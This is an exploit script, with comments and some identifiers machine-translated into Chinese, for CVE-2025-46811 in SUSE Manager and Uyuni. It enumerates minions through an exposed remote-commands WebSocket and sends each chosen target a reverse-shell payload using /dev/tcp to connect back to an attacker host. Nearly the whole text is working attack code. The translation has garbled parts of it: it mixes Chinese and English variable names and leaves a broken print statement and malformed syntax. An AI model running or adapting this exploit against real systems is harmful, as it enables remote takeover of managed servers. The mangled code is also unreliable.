# 利用标题：SUSE Manager 4.3.15 - 代码执行 # 日期：29.01.2026 # 利用作者：Wiktor Maj # 厂商主页：https://www.uyuni-project.org/ # 软件链接：https://github.com/uyuni-project/uyuni # 版本：Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15 # 测试环境：Debian 12 (bookworm), Python 3.11.2 与 websocket-client 1.9.0 # CVE：CVE-2025-46811 # 向 SUSE Manager 或 Uyuni 的易受攻击的 WebSocket 发送反向 shell 有效载荷。 # 在单独的终端中设置监听会话。 # 发送有效载荷后，切换到您的监听终端检查是否弹出一个 shell。 # 示例： # python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl #### 程序约束 #### PAYLOAD = f"sh -i">& /dev/tcp/HOST_IP/HOST_PORT 0>&1" # 反向shell载荷，HOST_IP和HOST_PORT将被替换为命令行参数 CONNECTION_RETRIES = 4 # 连接尝试次数 CONNECTION_DELAY_BETWEEN_RETRIES = 15 # 秒 WEBSOCKET_TIMEOUT = 10 # 秒 ############################## import argparse import json import socket import ssl import sys import time import websocket def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser(description="CVE-2025-46811 SUSE Manager 利用实现") Uyuni。", add_help=False) parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS, help="显示此帮助文本并退出。") parser.add_argument("--ip", required=True, help="受害者 IPv4 或主机名。") parser.add_argument("--port", type=int, default=443, help="受害者端口（默认：443）。") parser.add_argument("--host-ip", required=True, help="攻击者主机 IPv4 或主机名。") parser.add_argument("--host-port", type=int, required=True, help="攻击者主机端口。") group = parser.add_mutually_exclusive_group() group.add_argument("--ssl", dest="ssl", action="store_true", help="为 WebSocket 连接使用 SSL/TLS（默认）。") group.add_argument("--no-ssl", dest="ssl", action="store_false", help="禁用 SSL/TLS 并使用明文 WebSocket。") parser.set_defaults(ssl=True) return parser.parse_args() def resolve_target(hostname: str) -> str: return socket.gethostbyname(hostname) def receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str: while True: try: message = websocket_connection.recv() if message: print("Received:", message) if isinstance(message, bytes): message = message.decode("utf-8", errors="replace") return message except websocket.WebSocketTimeoutException as exception: raise RuntimeError("Failed to receive preview minions message") from exception def decode_preview_minions_message(message: str) -> list[str]: try: preview_output = json.loads(message) except json.JSONDecodeError as exception: raise RuntimeError("预览响应不是有效的JSON") from exception if ( isinstance(preview_output, dict) and isinstance(preview_output.get("minions"), list) and preview_output["minions"] and all(isinstance(entity, str) for entity in preview_output["minions"]) ): return preview_output["minions"] raise RuntimeError("预览响应期望非空的'minions'列表") def receive_preview_minions(websocket_connection: websocket.WebSocket)> list[str]: message = receive_preview_minions_message(websocket_connection) minions = decode_preview_minions_message(message) return minions def select_minion(minions: list[str]) -> str: print("可用的仆人：") for仆人ID,仆人名 in enumerate(仆人, start=1): print(f"{仆人ID}) {仆人名}") 提示 = "选择仆人编号（默认是'1'，或'c'取消）： " while True: 选择 = input(提示).strip() if 选择 == "": return 仆人[0] if 选择.lower() == "c": ("未 print选择仆人。退出。") sys.exit(0) if 选择.isdigit(): 索引 = int(选择) if 1<= index <= len(minions): return minions[index - 1] print("无效选择。") def connect_to_websocket(target_ip: str, port: int, use_ssl: bool, sslopt: dict, ) -> websocket.WebSocket: scheme = "wss" if use_ssl else "ws" try: return websocket.create_connection( f"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands", timeout=WEBSOCKET_TIMEOUT, sslopt=sslopt, ) except ssl.SSLError as exception: if "WRONG_VERSION_NUMBER" in str(exception): raise RuntimeError("Websocket 似乎未加密，尝试使用 --no-ssl") from exception raise except websocket.WebSocketBadStatusException as exception: if exception.status_code == 400: raise RuntimeError("Websocket 似乎已加密，尝试使用 --ssl") from exception raise except TimeoutError as exception: raise RuntimeError("Websocket 可能受到防火墙限制") from exception def get_minions(target_ip: str, port: int, use_ssl: bool, )> tuple[websocket.WebSocket, list[str]]: sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False} for attempt in range(1, CONNECTION_RETRIES + 1): websocket_connection = None try: websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt) websocket_connection.send(json.dumps({"preview": True, "target": "*"})) minions = receive_preview_minions(websocket_connection) return websocket_connection, minions except ( websocket.WebSocketTimeoutException, websocket.WebSocketConnectionClosedException, ): if websocket_connection is not None: websocket_connection.close() if attempt == CONNECTION_RETRIES: break time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES) raise RuntimeError("目标websocket不脆弱或无法访问") def send_payload(websocket_connection: websocket.WebSocket, target: str) -> None: payload = PAYLOAD.replace("HOST_IP", args.host_ip).replace("HOST_PORT", str(args.host_port)) websocket_connection.send(json.dumps({"preview": False, "target": target, "command": payload})) if __name__ == "__main__": args = parse_args() websocket_connection = None try: websocket_connection, minions = get_minions( target_ip=resolve_target(args.ip), port=args.port, use_ssl=args.ssl, ) selected_minion = select_minion(minions) send_payload(websocket_connection, selected_minion) print("Payload sent, closing.") finally: if websocket_connection is not None: websocket_connection.close()